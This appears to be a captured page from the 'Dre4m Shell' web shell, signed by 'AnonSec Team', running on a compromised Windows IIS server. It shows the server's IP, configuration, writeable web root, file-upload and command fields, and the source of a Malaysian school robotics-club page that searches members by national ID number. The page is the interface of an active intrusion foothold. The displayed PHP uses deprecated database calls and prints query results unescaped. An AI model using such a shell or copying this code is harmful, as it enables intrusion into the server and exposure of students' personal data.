Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.149.254.25
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/kemas_ahli_robotik_kelas_jaw.php
<?php require_once('Connections/mentorpbs.php'); ?>
<?php
if (!isset($_SESSION)) {
  session_start();
}
$MM_authorizedUsers = "";
$MM_donotCheckaccess = "true";

// *** Restrict Access To Page: Grant or deny access to this page
function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { 
  // For security, start by assuming the visitor is NOT authorized. 
  $isValid = False; 

  // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. 
  // Therefore, we know that a user is NOT logged in if that Session variable is blank. 
  if (!empty($UserName)) { 
    // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. 
    // Parse the strings into arrays. 
    $arrUsers = Explode(",", $strUsers); 
    $arrGroups = Explode(",", $strGroups); 
    if (in_array($UserName, $arrUsers)) { 
      $isValid = true; 
    } 
    // Or, you may restrict access to only certain users based on their username. 
    if (in_array($UserGroup, $arrGroups)) { 
      $isValid = true; 
    } 
    if (($strUsers == "") && true) { 
      $isValid = true; 
    } 
  } 
  return $isValid; 
}

$MM_restrictGoTo = "gagal.php";
if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) {   
  $MM_qsChar = "?";
  $MM_referrer = $_SERVER['PHP_SELF'];
  if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&";
  if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) 
  $MM_referrer .= "?" . $QUERY_STRING;
  $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer);
  header("Location: ". $MM_restrictGoTo); 
  exit;
}
?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$colname_Recordset_kelas_jaw = "-1";
if (isset($_POST['textbox_mykp'])) {
  $colname_Recordset_kelas_jaw = $_POST['textbox_mykp'];
}
mysql_select_db($database_mentorpbs, $mentorpbs);
$query_Recordset_kelas_jaw = sprintf("SELECT * FROM robotik_kelas_jaw INNER JOIN login_robotik ON login_robotik.my_nokp=robotik_kelas_jaw.nokp_ahli INNER JOIN kelas ON kelas.kelasid=robotik_kelas_jaw.kelas_id INNER JOIN jawatan ON jawatan.id_jawatan=robotik_kelas_jaw.jawatan_id WHERE nokp_ahli LIKE %s", GetSQLValueString("%" . $colname_Recordset_kelas_jaw . "%", "text"));
$Recordset_kelas_jaw = mysql_query($query_Recordset_kelas_jaw, $mentorpbs) or die(mysql_error());
$row_Recordset_kelas_jaw = mysql_fetch_assoc($Recordset_kelas_jaw);
$totalRows_Recordset_kelas_jaw = mysql_num_rows($Recordset_kelas_jaw);
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css">
<!--
.style1 {
	font-size: 24px;
	color: #0000FF;
}
.style2 {color: #009900}
-->
</style>
</head>

<body>
<div align="center" class="style1">KEMAS KINI MAKLUMAT JAWATAN AHLI KELAB ROBOTIK (PENGURUSAN)</div>
<p>&nbsp;</p>
<form id="form1" name="form1" method="post" action="">
  <label>
  <div align="center">Masukkan No KP Ahli / Sebahagian No KP Ahli:
    <input name="textbox_mykp" type="text" id="textbox_mykp" size="12" maxlength="12" />
      <br />
      <br />
      <input type="submit" name="button_submit_kp" id="button_submit_kp" value="CARI" />
  </div>
  </label>

</form>
<p>&nbsp;</p>
<p>&nbsp;
<table border="1" align="center">
  <tr>
    <td><div align="center" class="style2">
      <div align="center">No Rujukan</div>
    </div></td>
    <td><div align="center" class="style2">
      <div align="center">No Kad Pengenalan</div>
    </div></td>
    <td><div align="center" class="style2">Nama</div></td>
    <td><div align="center" class="style2">
      <div align="center">Tahun - Tingkatan</div>
    </div></td>
    <td><div align="center" class="style2">
      <div align="center">Tingkatan</div>
    </div></td>
    <td><div align="center" class="style2">
      <div align="center">Kelas</div>
    </div></td>
    <td><div align="center" class="style2">
      <div align="center">Tahun Jawatan</div>
    </div></td>
    <td><div align="center" class="style2">Jawatan</div></td>
    <td><div align="center" class="style2">Catatan</div></td>
    <td>Edit</td>
  </tr>
  <?php do { ?>
    <tr>
      <td><div align="center"> <?php echo $row_Recordset_kelas_jaw['id_ahli']; ?></div></td>
      <td><div align="center"><?php echo $row_Recordset_kelas_jaw['nokp_ahli']; ?>&nbsp; </div></td>
      <td><?php echo $row_Recordset_kelas_jaw['username']; ?></td>
      <td><div align="center"><?php echo $row_Recordset_kelas_jaw['tahun_tk']; ?>&nbsp; </div></td>
      <td><div align="center"><?php echo $row_Recordset_kelas_jaw['tingkatan']; ?>&nbsp; </div></td>
      <td><div align="center"><?php echo $row_Recordset_kelas_jaw['namakelas']; ?></div></td>
      <td><div align="center"><?php echo $row_Recordset_kelas_jaw['tahun_jaw']; ?>&nbsp; </div></td>
      <td><?php echo $row_Recordset_kelas_jaw['jawatan']; ?></td>
      <td><?php echo $row_Recordset_kelas_jaw['catatan']; ?>&nbsp; </td>
      <td><a href="edit_robotik_jawatan.php?recordID=<?php echo $row_Recordset_kelas_jaw['id_ahli']; ?>">Edit</a></td>
    </tr>
    <?php } while ($row_Recordset_kelas_jaw = mysql_fetch_assoc($Recordset_kelas_jaw)); ?>
</table>
<div align="center"><br />
  <?php echo $totalRows_Recordset_kelas_jaw ?> Records Total
  </p>
</div>
<p>&nbsp;</p>
<p align="center">
  <label></label>
  <a href="logout_robotik_ahli_urus_jaw.php">KEMBALI</a></p>
<p align="center">&nbsp;</p>
</body>
</html>
<?php
mysql_free_result($Recordset_kelas_jaw);
?>

Anon7 - 2022
AnonSec Team